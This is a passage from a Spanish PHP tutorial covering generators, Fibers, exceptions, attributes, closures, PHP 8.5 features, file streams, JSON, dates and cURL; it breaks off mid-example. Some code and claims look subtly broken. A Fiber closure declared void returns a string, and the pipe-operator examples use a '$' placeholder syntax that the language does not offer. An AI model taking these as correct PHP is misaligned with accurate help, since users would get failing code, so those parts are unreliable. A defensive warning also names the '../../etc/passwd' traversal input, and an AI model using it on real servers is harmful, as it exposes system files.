Cualquier clase puede entrar en un foreach implementando IteratorAggregate; el truco profesional es devolver un generador desde getIterator():

<?php
declare(strict_types=1);

class Carrito implements IteratorAggregate
{
    /** @param string[] $items */
    public function __construct(private array $items = [])
    {
    }

    public function agregar(string $item): void
    {
        $this->items[] = $item;
    }

    public function getIterator(): Generator
    {
        yield from $this->items;
    }
}

$carrito = new Carrito(['cafe', 'azucar']);
$carrito->agregar('leche');
foreach ($carrito as $item) {
    echo "- $item\n";
}
var_dump(is_iterable($carrito));
- cafe - azucar - leche bool(true)
Firma recomendada en APIs propias: public function getIterator(): Generator. Si necesitas reiterar varias veces, cachea los resultados en un array y expón ambos accesos.

Puntos clave

  • yield pausa la función: memoria constante sobre colecciones enormes.
  • Un generator solo recorre UNA vez; no admite count().
  • yield from delega y captura el return.
  • IteratorAggregate + Generator = objetos iterables baratos.

19 · Fibers: concurrencia ligera cooperativa

Avanzado ~12 min

Una Fiber (8.1) es un bloque de código que puede pausarse (suspend) y retomarse (resume) sin bloquear el hilo. No es paralelismo: es la pieza con la que los frameworks asíncronos construyen sus planificadores.

El ciclo suspend / resume

<?php
declare(strict_types=1);

$tarea = new Fiber(function (): void {
    echo 'Tarea: inicio', PHP_EOL;
    $datoRecibido = Fiber::suspend('pausada en el paso 1');
    // El flujo VUELVE aqui cuando alguien llame a ->resume():
    echo 'Tarea: reanudada con "', $datoRecibido, '"', PHP_EOL;
});

$mensajeDePausa = $tarea->start();      // ejecuta hasta el suspend()
echo 'Principal recibe: ', $mensajeDePausa, PHP_EOL;

$tarea->resume('datos del exterior');   // inyecta valor y continúa
var_dump($tarea->isTerminated());
Tarea: inicio Principal recibe: pausada en el paso 1 Tarea: reanudada con "datos del exterior" bool(true)

Planificador casero por turnos

<?php
declare(strict_types=1);

function trabajador(string $nombre, int $pasos): Fiber
{
    return new Fiber(function () use ($nombre, $pasos): void {
        for ($i = 1; $i <= $pasos; $i++) {
            Fiber::suspend("$nombre paso $i");
        }
        return "$nombre termino";
    });
}

$cola = [trabajador('A', 2), trabajador('B', 3)];

while ($cola) {
    foreach ($cola as $indice => $fiber) {
        $salida = $fiber->isStarted() ? $fiber->resume() : $fiber->start();
        if ($salida !== null) {
            echo $salida, PHP_EOL;
        }
        if ($fiber->isTerminated()) {
            unset($cola[$indice]);
        }
    }
}
A paso 1 B paso 1 A paso 2 B paso 2 B paso 3

Estados y errores

Método de estadoSignificado
isRunning()Ejecutando ahora mismo (no suspendida)
isSuspended()Pausada y lista para resume()
isTerminated()Finalizada o rota por excepción
getReturnValue()Valor final tras terminar bien
  • resume(mixed) inyecta un valor dentro del suspend; throw(Throwable) inyecta una excepción.
  • Suspender desde el exterior o reanudar una fiber muerta lanza FiberError.
  • Las excepciones internas viajan al punto de start()/resume(): envuélvelas en try/catch.
¿Y cuándo usarlas? En el día a día casi nunca a mano: AMHPH, ReactPHP y similares las usan para que escribas código secuencial sobre E/S asíncrona. Entender fibers es entender qué hace tu framework por debajo. Para tareas pesadas en CPU, el patrón correcto sigue siendo delegar a procesos CLI (Parte VI).

Puntos clave

  • Fiber = ejecución interrumpible cooperativa, NO hilos.
  • suspend devuelve control con datos; resume los reinyecta.
  • Excepciones cruzan la frontera hacia quien llamó start/resume.
  • Su hogar real son frameworks async; CPU pesada va a CLI.

20 · Errores y excepciones

Básico ~13 min

Desde PHP 7 todo lo que puede fallar en tiempo de ejecución es un Throwable con dos grandes ramas: Error (fallas del motor o del programador) y Exception (situaciones del negocio que debes manejar).

El árbol Throwable en un vistazo

Throwable (interface, no instanciable)
├── Error                        ← motor / errores de programación
│   ├── TypeError                argumento o retorno de tipo incorrecto
│   ├── ValueError               tipo correcto, valor invalido (8.0+)
│   ├── DivisionByZeroError
│   ├── ArithmeticError
│   └── AssertionError           de assert() en modo activo
└── Exception                    ← condiciones manejables de la app
    ├── RuntimeException         solo falla EN EJECUCION (BD caida, archivo...)
    │   └── OutOfBoundsException
    ├── LogicException           bug logico detectable antes
    │   ├── InvalidArgumentException
    │   └── DomainException
    └── PDOException             capa base de datos
  • Error = no lo atrapes a diario: indica bug (tipo mal, división por cero). Corrígelo, no lo silencies.
  • Exception = flujos esperables: cliente sin saldo, API externa caída. Ahí vive tu lógica de recuperación.
  • Ambas comparten métodos: getMessage(), getCode(), getFile(), getLine(), getTrace().

try / catch / finally completo

<?php
declare(strict_types=1);

function retirar(float $saldo, float $monto): float
{
    if ($monto <= 0) {
        throw new InvalidArgumentException('Monto debe ser positivo');
    }
    if ($monto > $saldo) {
        throw new RuntimeException('Saldo insuficiente');
    }
    return $saldo - $monto;
}

try {
    echo retirar(100.0, 250.0), PHP_EOL;
} catch (InvalidArgumentException | RuntimeException $e) {   // multiple, sin variable extra si no la usas
    echo 'Rechazado: ', $e->getMessage(), PHP_EOL;
} finally {
    echo 'Auditoria registrada (siempre corre)', PHP_EOL;   // incluso con return o nueva excepcion
}
Rechazado: Saldo insuficiente Auditoria registrada (siempre corre)
  • Catch múltiples con barra vertical; el más específico primero.
  • finally corre SIEMPRE: ideal para cerrar conexiones, liberar locks, medir tiempos.
  • Lanzar dentro de catch encadena: usa el cuarto parámetro para conservar la causa.

Excepciones propias y encadenamiento

<?php
declare(strict_types=1);

namespace Tienda;

class StockAgotadoException extends \RuntimeException
{
    public function __construct(
        private readonly string $sku,
    ) {
        parent::__construct("Sin stock para SKU $sku");
    }

    public function sku(): string { return $this->sku; }
}

function reservar(string $sku, int $unidades): void
{
    // ... consulta al almacen ...
    throw new StockAgotadoException('CAF-1KG');
}

try {
    reservar('CAF-1KG', 2);
} catch (StockAgotadoException $e) {
    // tipo especifico => manejo especifico, sin parsear mensajes:
    echo 'Ofrecer similar por ', $e->sku(), PHP_EOL;
}

// Encadenar causas: el contexto original nunca se pierde
try {
    try {
        throw new \PDOException('Conexion rechazada');
    } catch (\PDOException $origen) {
        throw new RuntimeException('Servicio no disponible', 503, $origen);
    }
} catch (RuntimeException $e) {
    echo $e->getMessage(), ' <- causa: ', $e->getPrevious()?->getMessage(), PHP_EOL;
}
Ofrecer similar por CAF-1KG Servicio no disponible <- causa: Conexion rechazada

Errores del motor: también Throwable

<?php
declare(strict_types=1);

try {
    intdiv(10, 0);                       // antes: warning + resultado raro
} catch (DivisionByZeroError $e) {
    echo 'Motor dice: ', $e->getMessage(), PHP_EOL;
}

try {
    strlen(42);                          // strict_types: TypeError, no coerción
} catch (TypeError $e) {
    echo substr($e->getMessage(), 0, 40), '...', PHP_EOL;
}
Motor dice: Division by zero strlen(): Argument #1 ($string) must be of...
Estrategia recomendada: captura tipos específicos cerca del problema y deja UNA red global (set_exception_handler) para lo imprevisto. Atrapar \Throwable en todas partes convierte los bugs en niebla.

Puntos clave

  • Todo fallo runtime es Throwable: Error (bugs) vs Exception (negocio).
  • finally garantiza limpieza pase lo que pase.
  • Excepciones propias = semántica + datos, no strings parseados.
  • Encadena causas con el parámetro $previous.
  • Errores del motor ya son capturables (TypeError, DivisionByZeroError...).

21 · Atributos y reflexión

Intermedio ~13 min

Los atributos nativos (8.0) convierten los comentarios /** @Route ... */ en metadatos reales, tipados y autocompletables. La reflexión es el motor que los lee: juntos son la base de routers, inyectores de dependencias y ORMs modernos.

Atributo propio: declaración y uso

<?php
declare(strict_types=1);

namespace App\Http;

use Attribute;

#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_CLASS)]
class Ruta
{
    public function __construct(
        public readonly string $metodo,
        public readonly string $camino,
    ) {
    }
}

class ControladorPedidos
{
    #[Ruta('GET', '/pedidos')]
    public function listar(): string { return 'lista de pedidos'; }

    #[Ruta('POST', '/pedidos')]
    public function crear(): string { return 'pedido creado'; }
}
  • #[\Attribute(...)] con flags de destino: TARGET_CLASS, TARGET_METHOD, TARGET_PROPERTY, TARGET_PARAMETER, TARGET_ALL...
  • Los argumentos del atributo se validan como llamada normal: tipos estrictos y argumentos nombrados incluidos.
  • Sin reflexión, los atributos no hacen NADA: son datos dormidos.

Reflexión: leer los metadatos

<?php
declare(strict_types=1);

// (continua el namespace App\Http del bloque anterior)
$ref = new \ReflectionClass(ControladorPedidos::class);

$rutas = [];
foreach ($ref->getMethods() as $metodo) {
    $atributos = $metodo->getAttributes(Ruta::class);
    foreach ($atributos as $attr) {
        $ruta = $attr->newInstance();            // construye el objeto Ruta real
        $rutas[$ruta->metodo . ' ' . $ruta->camino] = $metodo->getName();
    }
}

print_r($rutas);
Array ( [GET /pedidos] => listar [POST /pedidos] => crear )

Mini-router de 15 líneas

<?php
declare(strict_types=1);

function despachar(array $tabla, string $metodoHttp, string $camino): void
{
    $clave = "$metodoHttp $camino";
    if (!isset($tabla[$clave])) {
        http_response_code(404);
        echo '404 no encontrado', PHP_EOL;
        return;
    }
    $controlador = new ControladorPedidos();
    echo $controlador->{$tabla[$clave]}(), PHP_EOL;
}

despachar($rutas, 'GET', '/pedidos');       // tabla generada por reflexion arriba
lista de pedidos

La caja de herramientas Reflection

Clase / métodoPara qué sirve
ReflectionClassConstantes, propiedades, métodos, interfaces, atributos de clase
ReflectionMethodFirma, parámetros, visibilidad; invocar con invoke()
ReflectionParameterNombre, tipo, valor por defecto — corazón del auto-wiring
ReflectionPropertyLeer/escribir incluso privadas (setAccessible) — útil en pruebas
getAttributes()Atributos como objetos reales vía newInstance()
La reflexión es lenta si se repite en cada petición. El patrón profesional: escanear una vez al desplegar/arrancar, cachear la tabla resultante (archivo o APCu) y despachar desde la cache.

Atributos integrados que ya usas

  • #[\Deprecated] (8.4): marca métodos en retirada; las llamadas emiten aviso.
  • #[\Override] (8.3): ya vista en herencia (cap. 14).
  • #[\AllowDynamicProperties]: excepción histórica para clases legacy.

Puntos clave

  • Atributos = anotaciones ejecutables, tipadas y con IDE friendly.
  • #[\Attribute(TARGET_...)] declara dónde puede vivir uno.
  • newInstance() transforma metadatos en objetos utilizables.
  • Reflection alimenta routers/DI/ORMs; escanea una vez y cachea.

22 · Estilo funcional con closures

Intermedio ~13 min

El capítulo 10 presentó las funciones anónimas; aquí las usamos como bloques de construcción: funciones que reciben y devuelven otras funciones, transformaciones de arrays sin bucles manuales e inmutabilidad práctica.

Captura por valor, por referencia y estáticas

<?php
declare(strict_types=1);

$iva = 0.18;

$conIva = fn (float $precio): float => $precio * (1 + $iva);   // captura automatica por VALOR

$iva = 0.20;
echo $conIva(100.0), PHP_EOL;    // sigue usando el 0.18 capturado

$contador = 0;
$incremento = function () use (&$contador): void {   // & = por REFERENCIA
    $contador++;
};
$incremento(); $incremento();
echo $contador, PHP_EOL;

class Servicio
{
    public string $etiqueta = 'svc';
}

$s = new Servicio();
$estatica = static function (): string {   // static: SIN $this, no filtra contexto
    return 'independiente';
};
echo $estatica(), ' / ', $s->etiqueta, PHP_EOL;
118 2 independiente / svc

Transformar colecciones sin bucles

<?php
declare(strict_types=1);

$productos = [
    ['nombre' => 'Cafe',    'precio' => 24.90, 'stock' => 12],
    ['nombre' => 'Azucar',  'precio' => 4.50,  'stock' => 0],
    ['nombre' => 'Leche',   'precio' => 5.20,  'stock' => 30],
];

$nombres = array_map(fn ($p) => $p['nombre'], $productos);

$disponibles = array_values(array_filter(
    $productos,
    fn ($p) => $p['stock'] > 0          // conserva claves: reindexa con array_values
));

$totalValor = array_sum(array_map(fn ($p) => $p['precio'] * $p['stock'], $disponibles));

usort($productos, fn ($a, $b) => $b['precio'] <=> $a['precio']);   // desc. por precio

echo implode(', ', $nombres), ' | total=', number_format($totalValor, 2), PHP_EOL;
echo 'mas caro: ', $productos[0]['nombre'], PHP_EOL;
Cafe, Azucar, Leche | total=457.20 mas caro: Cafe

Funciones que fabrican funciones

<?php
declare(strict_types=1);

function mayorQue(float $limite): Closure           // factory de predicados
{
    return fn (float $x): bool => $x > $limite;
}

$superaMinimo = mayorQue(10.0);
var_dump($superaMinimo(11.5), $superaMinimo(9.9));

// Composicion con callables de primera clase (8.1):
$normalizar = trim(...);
$aMayusculas = strtoupper(...);
$texto = $aMayusculas($normalizar('  cafe especial  '));
echo $texto, PHP_EOL;
bool(true) bool(false) CAFE ESPECIAL

Inmutabilidad práctica

<?php
declare(strict_types=1);

final class Pedido
{
    private function __construct(
        public readonly array $items,       // lista inmutable
        public readonly float $total,
    ) {
    }

    public static function vacio(): self
    {
        return new self([], 0.0);
    }

    // "modificar" = devolver UNO NUEVO:
    public function con(string $item, float $precio): self
    {
        return new self([...$this->items, $item], $this->total + $precio);
    }
}

$pedido = Pedido::vacio()
    ->con('Cafe', 24.90)
    ->con('Leche', 5.20);

print_r($pedido->items);
echo 'total: ', $pedido->total, PHP_EOL;
Array ( [0] => Cafe [1] => Leche ) total: 30.1
Cuándo NO: para recorrer millones de filas, un foreach sobre un generator (cap. 18) gana en memoria y claridad al estilo funcional encadenado. Funcional es una herramienta, no una religión.

Puntos clave

  • fn captura por valor automáticamente; use (&$x) solo si lo necesitas.
  • static function evita filtrar $this.
  • map/filter/reduce/usort expresan intención sin bucles.
  • Fábricas de closures + metodo(...) componen pipelines.
  • Inmutabilidad = construir objetos nuevos con readonly.

23 · Novedades de PHP 8.5

Intermedio ~13 min

El capítulo 1 las anunciaba; aquí se usan de verdad. Estas son las piezas que definen cómo se escribirá PHP a partir de ahora.

Operador pipe |>: el flujo de izquierda a derecha

Toma el resultado de la izquierda y lo pasa como ÚNICO argumento del callable de la derecha. Se lee como un pipeline de datos, en orden natural:

<?php
declare(strict_types=1);

$pedidos = ['cafe', 'azucar', 'leche', 'cafe'];

// Antes: leer al reves, de adentro hacia afuera
$antes = strtoupper(implode(', ', array_unique(array_map('trim', $pedidos))));

// Ahora: un pipeline legible
$despues = $pedidos
    |> array_map(trim(...), $)
    |> array_unique($)
    |> implode(', ', $)
    |> strtoupper($);

echo $antes, PHP_EOL;
echo $despues, PHP_EOL;
CAFE, AZUCAR, LECHE CAFE, AZUCAR, LECHE
  • $ es el marcador de posición del valor entrante; con funciones de un argumento ni siquiera hace falta.
  • Cada paso puede ser función global, closure o $obj->metodo(...).
  • Reemplaza al anidado profundo y a variables temporales $paso1, $paso2...

clone() como función: mutar durante la clonación

<?php
declare(strict_types=1);

final class Configuracion
{
    public function __construct(
        public readonly string $ambiente,
        public readonly bool $debug = false,
    ) {
    }
}

$prod = new Configuracion('produccion');

$dev = clone($prod, [                    // 8.5: clona Y reescribe propiedades readonly
    'ambiente' => 'desarrollo',
    'debug' => true,
]);

echo $dev->ambiente, ' debug=', $dev->debug ? 'si' : 'no', PHP_EOL;
desarrollo debug=si

#[\NoDiscard]: el retorno no se ignora

<?php

function validarRuc(string $ruc): bool
{
    return strlen($ruc) === 11 && str_starts_with($ruc, '20');
}

#[\NoDiscard('el resultado indica si la validacion paso')]
function validarYRegistrar(string $ruc): bool
{
    return validarRuc($ruc);
}

validarYRegistrar('20512345678');        // aviso: el retorno no fue usado (void) silencia
(void) validarYRegistrar('10...');       // descarte INTENCIONAL documentado

Extensión URI: URLs con estándar real

<?php
declare(strict_types=1);

$uri = new \Uri\Uri('HTTPS://Tienda.pe:443/catalogo?pagina=2#ofertas');

echo $uri->getHost(), PHP_EOL;           // normalizado: tienda.pe
echo $uri->getPort() ?? '-', PHP_EOL;    // 443 omitido por ser default https
echo $uri->getQuery(), PHP_EOL;

$nueva = $uri->withQuery('pagina=3');
echo $nueva, PHP_EOL;                    // inmutable: devuelve instancia nueva
tienda.pe - pagina=2 https://tienda.pe/catalogo?pagina=3#ofertas

El resto del paquete 8.5

NovedadEn una línea
array_first() / array_last()Primer/último elemento sin reset() ni end() (ya vistos, cap. 9)
Handles cURL persistentesReuso de conexiones entre peticiones: menos overhead TLS
Fatales con backtraceLos errores fatales ahora muestran traza completa: adiós adivinanzas
Atributo #[\Override] maduroHerramienta anti-typos ya estable desde 8.3
__sleep()/__wakeup() deprecadosMigra a __serialize()/__unserialize() (cap. 17)
Lista de migración rápida a 8.5: sustituir anidamientos por pipes donde mejore lectura; clone($x, [...]) para variantes de objetos inmutables; revisar deprecaciones con php -l + pruebas; activar error_reporting=E_ALL en desarrollo.

Puntos clave

  • |> encadena pasos de izquierda a derecha; $ marca el hueco.
  • clone($obj, [...]) crea variantes inmutables sin boilerplate.
  • #[\NoDiscard] protege retornos importantes; (void) los descarta a propósito.
  • \Uri\Uri: parsing/normalización RFC 3986 e WHATWG nativos.
  • Fatales con backtrace y menos deprecaciones ambiguas.

24 · Archivos y streams

Intermedio ~13 min

Todo backend serio termina leyendo o escribiendo algo del disco: logs, reportes CSV, cachés, importaciones. El modelo de PHP es un flujo (stream): un recurso con cursor que se abre, recorre y cierra.

Los tres modos de leer

<?php
declare(strict_types=1);

$ruta = __DIR__ . '/notas.txt';
file_put_contents($ruta, "linea uno\nlinea dos\nlinea tres\n");

// 1) TODO el contenido de golpe (ideal < unos MB):
$todo = file_get_contents($ruta);

// 2) Un archivo en un ARRAY de lineas:
$lineas = file($ruta, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

// 3) Con cursor manual: streaming para lo grande
$fh = fopen($ruta, 'rb');                 // b = binario seguro
while (($linea = fgets($fh)) !== false) {
    echo trim($linea), ' | ';
}
fclose($fh);
echo PHP_EOL;
linea uno | linea dos | linea tres |
ModoSi no existeCursorUso típico
'r'fallainiciosolo lectura
'w'lo creainicio, TRUNCAregenerar completo
'a'lo creafinlogs, añadir
'x'falla si existeiniciocrear sin pisar
'c'lo creainicio sin truncarreescribir secciones

Escribir con candado: el patrón de log correcto

<?php
declare(strict_types=1);

function registrar(string $mensaje, string $nivel = 'INFO'): void
{
    $linea = sprintf(
        "[%s] [%s] %s%s",
        date('Y-m-d H:i:s'),
        $nivel,
        $mensaje,
        PHP_EOL
    );

    $fh = fopen(__DIR__ . '/app.log', 'ab');
    if ($fh === false) {
        throw new RuntimeException('Log inaccesible');
    }
    try {
        flock($fh, LOCK_EX);              // excluye escritores concurrentes
        fwrite($fh, $linea);
    } finally {
        flock($fh, LOCK_UN);
        fclose($fh);
    }
}

registrar('Pedido 1001 emitido');
registrar('Reintento de pago', 'WARN');

CSV: el formato que nunca muere

<?php
declare(strict_types=1);

// Exportar:
$ventas = [
    ['SKU', 'Producto', 'Unidades', 'Total'],
    ['CAF-1KG', 'Cafe especial', 3, 74.70],
    ['LEQ-1L', 'Leche evaporada', 10, 52.00],
];
$fh = fopen('ventas.csv', 'wb');
foreach ($ventas as $fila) {
    fputcsv($fh, $fila);                  // maneja comillas y separadores por ti
}
fclose($fh);

// Importar (con generador: memoria constante, cap. 18):
function filas(string $archivo): Generator
{
    $fh = fopen($archivo, 'rb');
    fgetcsv($fh);                         // descarta cabecera
    while (($fila = fgetcsv($fh)) !== false) {
        yield $fila;
    }
    fclose($fh);
}

foreach (filas('ventas.csv') as [$sku, , , $total]) {
    echo "$sku => S/ $total\n";
}
CAF-1KG => S/ 74.7 LEQ-1L => S/ 52

Operaciones de sistema y streams especiales

<?php
declare(strict_types=1);

mkdir(__DIR__ . '/respaldos/2026', 0777, true);   // recursivo
copy('ventas.csv', 'respaldos/2026/ventas.csv');
rename('ventas.csv', 'respaldos/2026/ventas_final.csv');
echo filesize('respaldos/2026/ventas_final.csv'), " bytes\n";
unlink('respaldos/2026/ventas.csv');

// php://temp: archivo en RAM que desborda a disco si crece mucho
$mem = fopen('php://temp', 'r+b');
fwrite($mem, 'proceso intermedio sin tocar el disco');
rewind($mem);
echo stream_get_contents($mem), PHP_EOL;
fclose($mem);
96 bytes proceso intermedio sin tocar el disco
Rutas construidas con datos del usuario son agujero de directory traversal (../../etc/passwd). Normaliza siempre contra una raíz fija con realpath() y verifica que el resultado empiece por ella.

Puntos clave

  • Chico → file_get_contents; grande → fgets/generador.
  • Escritura concurrente exige flock(LOCK_EX).
  • fputcsv/fgetcsv evitan reinventar el parser.
  • php://temp = memoria con respaldo automático en disco.
  • Nunca confíes en rutas externas sin validar contra la raíz.

25 · JSON: el idioma de las APIs

Básico ~12 min

JSON es el formato de intercambio por defecto del ecosistema web. PHP lo maneja con dos funciones: json_encode y json_decode — más una familia de flags que conviene dominar desde el primer día.

Codificar con los flags correctos

<?php
declare(strict_types=1);

$pedido = [
    'id' => 1001,
    'cliente' => 'María Ñuñez',
    'items' => [
        ['sku' => 'CAF-1KG', 'precio' => 24.90],
    ],
    'pagado' => true,
];

// Los TRES flags que casi siempre quieres juntos:
$json = json_encode($pedido, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_THROW_ON_ERROR);

echo $json, PHP_EOL;
{ "id": 1001, "cliente": "María Ñuñez", "items": [ { "sku": "CAF-1KG", "precio": 24.9 } ], "pagado": true }
  • JSON_UNESCAPED_UNICODE: sin esto, «Ñuñez» se vuelve \u00d1u\u00f1ez.
  • JSON_PRETTY_PRINT: solo para logs/debug; en APIs ahorra bytes sin él.
  • JSON_THROW_ON_ERROR (7.3+): convierte fallos silenciosos (¡null!) en JsonException. Úsalo SIEMPRE.

Decodificar: array asociativo u objeto

<?php
declare(strict_types=1);
use JsonException;

$entrada = '{"ruc":"20512345678","razon":"Cafeteria El Sol","activo":true}';

try {
    $comoArray = json_decode($entrada, true, 512, JSON_THROW_ON_ERROR);
    echo $comoArray['razon'], PHP_EOL;

    $comoObjeto = json_decode($entrada, false, 512, JSON_THROW_ON_ERROR);
    echo $comoObjeto->ruc, PHP_EOL;
} catch (JsonException $e) {
    echo 'JSON invalido: ', $e->getMessage(), PHP_EOL;
}

var_dump(json_last_error() === JSON_ERROR_NONE);
Cafeteria El Sol 20512345678 bool(true)

Objetos a JSON: qué viaja realmente

json_encode solo serializa propiedades públicas. Para controlar la representación exacta, implementa JsonSerializable:

<?php
declare(strict_types=1);

class Producto implements JsonSerializable
{
    public function __construct(
        private string $sku,
        private float $costoInterno,
        private float $precioVenta,
    ) {
    }

    public function jsonSerialize(): array     // TU version publica del objeto
    {
        return [
            'sku' => $this->sku,
            'precio' => number_format($this->precioVenta, 2, '.', ''),
        ];
        // costoInterno NUNCA sale por accidente
    }
}

echo json_encode(new Producto('CAF-1KG', 14.20, 24.90)), PHP_EOL;
{"sku":"CAF-1KG","precio":"24.90"}

Ida y vuelta: archivo de configuración JSON

<?php
declare(strict_types=1);

$archivo = __DIR__ . '/config.json';

function guardarConfig(string $ruta, array $datos): void
{
    file_put_contents(
        $ruta,
        json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_THROW_ON_ERROR)
    );
}

function cargarConfig(string $ruta): array
{
    $bruto = file_get_contents($ruta);
    if ($bruto === false) {
        throw new RuntimeException("No existe $ruta");
    }
    return json_decode($bruto, true, 512, JSON_THROW_ON_ERROR);
}

guardarConfig($archivo, ['tema' => 'oscuro', 'iva' => 0.18]);
print_r(cargarConfig($archivo));
Array ( [tema] => oscuro [iva] => 0.18 )
SituaciónSolución
Acentos convertidos a \uXXXXJSON_UNESCAPED_UNICODE
json_decode() devolvió null sin avisoJSON_THROW_ON_ERROR + try/catch
Números grandes pierden precisiónJSON_BIGINT_AS_STRING al decodificar
Barras escapadas (\/)JSON_UNESCAPED_SLASHES
Datos privados expuestosImplementar JsonSerializable

Puntos clave

  • Trio obligatorio: UNESCAPED_UNICODE + THROW_ON_ERROR (+ PRETTY si es humano).
  • decode(..., true) → array; false → stdClass.
  • JsonSerializable define la cara pública del objeto.
  • Solo propiedades públicas viajan por defecto.

26 · Fechas con DateTimeImmutable

Intermedio ~13 min

Regla de la casa: usa DateTimeImmutable, no DateTime. El clásico muta el objeto original en cada add()/modify(): un solo objeto compartido entre funciones y las fechas se corrompen solas.

La trampa del mutable, demostrada

<?php
declare(strict_types=1);

$mutable = new DateTime('2026-08-23 10:00:00');
$manana = $mutable->add(new DateInterval('P1D'));   // ¡MUTA a $mutable!

echo 'mutable ahora dice: ', $mutable->format('Y-m-d H:i'), PHP_EOL;

$inmutable = new DateTimeImmutable('2026-08-23 10:00:00');
$futuro = $inmutable->add(new DateInterval('P1D')); // devuelve UNO NUEVO

echo 'inmutable intacto: ', $inmutable->format('Y-m-d H:i'), PHP_EOL;
echo 'futuro: ', $futuro->format('Y-m-d H:i'), PHP_EOL;
mutable ahora dice: 2026-08-24 10:00 inmutable intacto: 2026-08-23 10:00 futuro: 2026-08-24 10:00

Crear, formatear y comparar

<?php
declare(strict_types=1);

$hoy = new DateTimeImmutable('now', new DateTimeZone('America/Lima'));
$vencimiento = new DateTimeImmutable('2026-12-31 23:59:59');

echo $hoy->format('d/m/Y H:i:s T'), PHP_EOL;

// Comparacion directa con operadores (ambos son DateTimeInterface):
var_dump($hoy < $vencimiento);
$dias = $hoy->diff($vencimiento);            // DateInterval calculado
echo "Faltan {$dias->days} dias\n";

// Formatos utiles para BD y APIs:
echo $vencimiento->format('Y-m-d H:i:s'), ' | ',
     $vencimiento->format(DATE_ATOM), PHP_EOL;
23/08/2026 10:00:00 -05 bool(true) Faltan 130 dias 2026-12-31 23:59:59 | 2026-12-31T23:59:59+00:00
  • Formato seguro para MySQL: Y-m-d H:i:s; para APIs: constante DATE_ATOM.
  • diff() devuelve DateInterval con ->days, meses, horas...
  • Los objetos se ordenan con <=> directo: perfecto en usort.

Aritmética encadenable e inmutable

<?php
declare(strict_types=1);

$base = new DateTimeImmutable('2026-08-23');

$ciclo = $base
    ->modify('+7 days')                 // cada paso = instancia nueva
    ->setTime(9, 0)
    ->setTimezone(new DateTimeZone('UTC'));

echo $base->format('Y-m-d H:i T'), ' => ', $ciclo->format('Y-m-d H:i T'), PHP_EOL;

// Rangos para reportes con DatePeriod:
foreach (new DatePeriod($base, new DateInterval('P1D'), 4) as $dia) {
    echo $dia->format('D d-m'), ' | ';
}
echo PHP_EOL;

// Meses peruanos sin extension intl:
$meses = [1 => 'enero','febrero','marzo','abril','mayo','junio',
             'julio','agosto','setiembre','octubre','noviembre','diciembre'];
$n = (int) $base->format('n');
echo $base->format('j \d\e '), $meses[$n], ' \d\e ', $base->format('Y'), PHP_EOL;
2026-08-23 00:00 PET => 2026-08-30 09:00 UTC dom 23-08 | lun 24-08 | mar 25-08 | mie 26-08 | jue 27-08 | 23 de agosto de 2026

Parsear entrada externa sin sustos

<?php
declare(strict_types=1);

function desdeFormulario(string $texto): DateTimeImmutable
{
    try {
        return new DateTimeImmutable($texto, new DateTimeZone('America/Lima'));
    } catch (Exception $e) {                     // formato invalido lanza Exception
        throw new InvalidArgumentException("Fecha invalida: '$texto'");
    }
}

var_dump(desdeFormulario('2026-09-15')->format('Y/m/d'));

try {
    desdeFormulario('32/13/2026');
} catch (InvalidArgumentException $e) {
    echo $e->getMessage(), PHP_EOL;
}
string(10) "2026/09/15" Fecha invalida: '32/13/2026'
Zonas horarias: guarda SIEMPRE en UTC o con zona explícita, convierte solo al presentar. Mezclar fechas «ingenuas» de distintas zonas produce bugs que aparecen dos veces al año (cambio de hora) y son indetectables en pruebas.

Puntos clave

  • DateTimeImmutable: cada operación devuelve instancia nueva.
  • Comparaciones con operadores; diff() da intervalos exactos.
  • DatePeriod recorre rangos para reportes.
  • Entrada externa → try/catch → excepción propia.
  • Almacena UTC/zona explícita; presenta en la zona del usuario.

27 · cURL y clientes HTTP

Intermedio ~14 min

Consumir APIs externas (pasarelas de pago, SUNAT, servicios internos) es pan de cada día. cURL es el cliente nativo más completo: control fino de cabeceras, timeouts, TLS y reuso de conexiones.

GET con verificación de estado

<?php
declare(strict_types=1);

function httpGet(string $url): string
{
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,       // devuelve string, no echo
        CURLOPT_FOLLOWLOCATION  => true,
        CURLOPT_CONNECTTIMEOUT   => 5,        // handshake maximo
        CURLOPT_TIMEOUT          => 15,       // transferencia total
        CURLOPT_USERAGENT       => 'MiApp/1.0',
    ]);

    $cuerpo = curl_exec($ch);
    if ($cuerpo === false) {
        $error = curl_error($ch);
        curl_close($ch);
        throw new RuntimeException("Fallo de red: $error");
    }

    $codigo = curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
    curl_close($ch);

    if ($codigo >= 400) {
        throw new RuntimeException("HTTP $codigo desde $url");
    }
    return $cuerpo;
}

$datos = json_decode(httpGet('https://api.github.com/zen'), true);
var_dump(is_string($datos) || is_array($datos));
bool(true)

POST con JSON: la receta estándar

<?php
declare(strict_types=1);

function httpPostJson(string $url, array $payload, ?string $token = null): array
{
    $cabeceras = [
        'Content-Type: application/json',
        'Accept: application/json',
    ];
    if ($token !== null) {
        $cabeceras[] = "Authorization: Bearer $token";
    }

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => json_encode(
            $payload,
            JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR
        ),
        CURLOPT_HTTPHEADER     => $cabeceras,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 20,
    ]);

    $cuerpo = curl_exec($ch);
    if ($cuerpo === false) {
        throw new RuntimeException('Red: ' . curl_error($ch));
    }
    $codigo = curl_getinfo($ch, CURLINFO_RESPONSE_CODE);
    curl_close($ch);

    return ['status' => $codigo, 'body' => json_decode($cuerpo, true)];
}

$respuesta = httpPostJson(
    'https://httpbin.org/post',
    ['pedido' => 1001, 'moneda' => 'PEN'],
    token: 'token-de-prueba'              // argumento nombrado (8.0+)
);
echo $respuesta['status'], PHP_EOL;
200

Reuso agresivo: handles persistentes compartidos (8.5)

Cada conexión nueva paga DNS + handshake TLS. El share handle persistente reusa esos recursos entre peticiones — ideal para workers CLI que golpean siempre al mismo host:

<?php
declare(strict_types=1);

// Se crea UNA vez en el proceso; vive entre peticiones del worker:
$compartido = curl_share_init_persistent([           // 8.5
    CURL_LOCK_DATA_DNS,
    CURL_LOCK_DATA_SSL_SESSION,
    CURL_LOCK_DATA_CONNECT,
